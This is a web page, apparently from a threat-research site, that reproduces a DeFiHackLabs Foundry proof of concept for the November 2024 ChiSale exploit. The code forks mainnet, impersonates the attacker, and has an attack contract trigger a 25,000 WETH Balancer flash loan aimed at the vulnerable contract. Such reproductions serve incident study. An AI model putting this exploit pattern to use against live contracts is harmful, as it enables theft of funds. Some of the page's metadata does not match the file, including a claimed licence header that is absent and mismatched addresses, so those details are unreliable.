Public reproduction file

src/test/2024-11/ChiSale_exp.sol

Public reproduction file for dataset entry ChiSale.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-11/ChiSale_exp.sol85 lines

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : 16.3k USD
7// Attacker : https://bscscan.com/address/0xe60329a82c5add1898ba273fc53835ac7e6fd5ca
8// Attack Contract : 
9// Vulnerable Contract : https://etherscan.io/address/0x050163597d9905ba66400f7b3ca8f2ef23df702d
10// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x586a2a4368a1a45489a8a9b4273509b524b672c33e6c544d2682771b44f05e87
11 
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x050163597d9905ba66400f7b3ca8f2ef23df702d
14 
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1854357930382156107
17// Twitter Guy : https://x.com/TenArmorAlert/status/1854357930382156107
18// Hacking God : N/A
19 
20address constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
21address constant ProtocolFeesCollector = 0xce88686553686DA562CE7Cea497CE749DA109f9F;
22address constant attacker = 0xEE4073183E07Aa0FC1B96D6308793840f02B6e88;
23address constant addr1 = 0x931b8905C310Ab133373f50ba66FEba2793F80eA;
24address constant addr2 = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
25 
26contract ContractTest is Test {
27    function setUp() public {
28        vm.createSelectFork("mainnet", 21132838 - 1);
29    }
30    
31    function testPoC() public {
32        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
33        vm.startPrank(attacker, attacker);
34        AttackerC attC = new AttackerC();
35        attC.flashLoan();
36        vm.stopPrank();
37        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
38    }
39}
40 
41// 0xBA12222222228d8Ba445958a75a0704d566BF2C8
42contract AttackerC {
43    address private constant VAULT = addr2;
44    address private constant RECEIVER = addr1;
45    address private constant WETH = weth9;
46 
47    function flashLoan() public {
48        address[] memory tokens = new address[](1);
49        tokens[0] = WETH;
50        uint256[] memory amounts = new uint256[](1);
51        amounts[0] = 25000 * 1e18;
52        bytes memory userData = "";
53 
54        (bool ok, ) = VAULT.call(
55            abi.encodeWithSelector(
56                IBalancerVaultLocal.flashLoan.selector,
57                RECEIVER,
58                tokens,
59                amounts,
60                userData
61            )
62        );
63        require(ok, "flashLoan failed");
64    }
65  
66    function receiveFlashLoan(address[] memory, uint256[] memory, uint256[] memory, bytes memory) external {
67    }
68}
69 
70interface IWETH9 {
71	function transfer(address, uint256) external returns (bool);
72	function balanceOf(address) external returns (uint256); 
73}
74interface IProtocolFeesCollector {
75	function getFlashLoanFeePercentage() external returns (uint256); 
76}
77 
78interface IBalancerVaultLocal {
79    function flashLoan(
80        address recipient,
81        address[] calldata tokens,
82        uint256[] calldata amounts,
83        bytes calldata userData
84    ) external;
85}

Analysis

Dataset entry

Public Foundry test for “ChiSale” (2024-11-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-11/Ak1111_exp.solSame month in the dataset · 56 lines
src/test/2024-11/CoW_exp.solSame month in the dataset · 73 lines
src/test/2024-11/DeltaPrime_exp.solSame month in the dataset · 249 lines
src/test/2024-11/MainnetSettler_exp.solSame month in the dataset · 93 lines
src/test/2024-11/Matez_exp.solSame month in the dataset · 72 lines
src/test/2024-11/MFT_exp.solSame month in the dataset · 157 lines
src/test/2024-11/NFTG_exp.solSame month in the dataset · 68 lines
src/test/2024-11/PolterFinance_exploit.solSame month in the dataset · 227 lines
src/test/2024-11/proxy_b7e1_exp.solSame month in the dataset · 107 lines
src/test/2024-11/RPP_exp.solSame month in the dataset · 100 lines
src/test/2024-11/vETH_exp.solSame month in the dataset · 94 lines
src/test/2024-11/VRug_exp.solSame month in the dataset · 38 lines
src/test/2024-11/X319_exp.solSame month in the dataset · 45 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xe60329a82c5add1898ba273fc53835ac7e6fd5ca
Attack Contract
0x050163597d9905ba66400f7b3ca8f2ef23df702d
Vulnerable Contract
0x050163597d9905ba66400f7b3ca8f2ef23df702d

Attack Tx
0x586a2a4368a1a45489a8a9b4273509b524b672c33e6c544d2682771b44f05e87

File record

Name: ChiSale
Path: src/test/2024-11/ChiSale_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: a9942a6731d3747be613a7d0483b2d5f0c238907
Language: Solidity
Size: 85 lines
Date: 2024-11-07
Licence: ThreatWire editorial text
Retrieved: 2026-10-19

Provenance

Path src/test/2024-11/ChiSale_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a9942a6731d3747be613a7d0483b2d5f0c238907, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.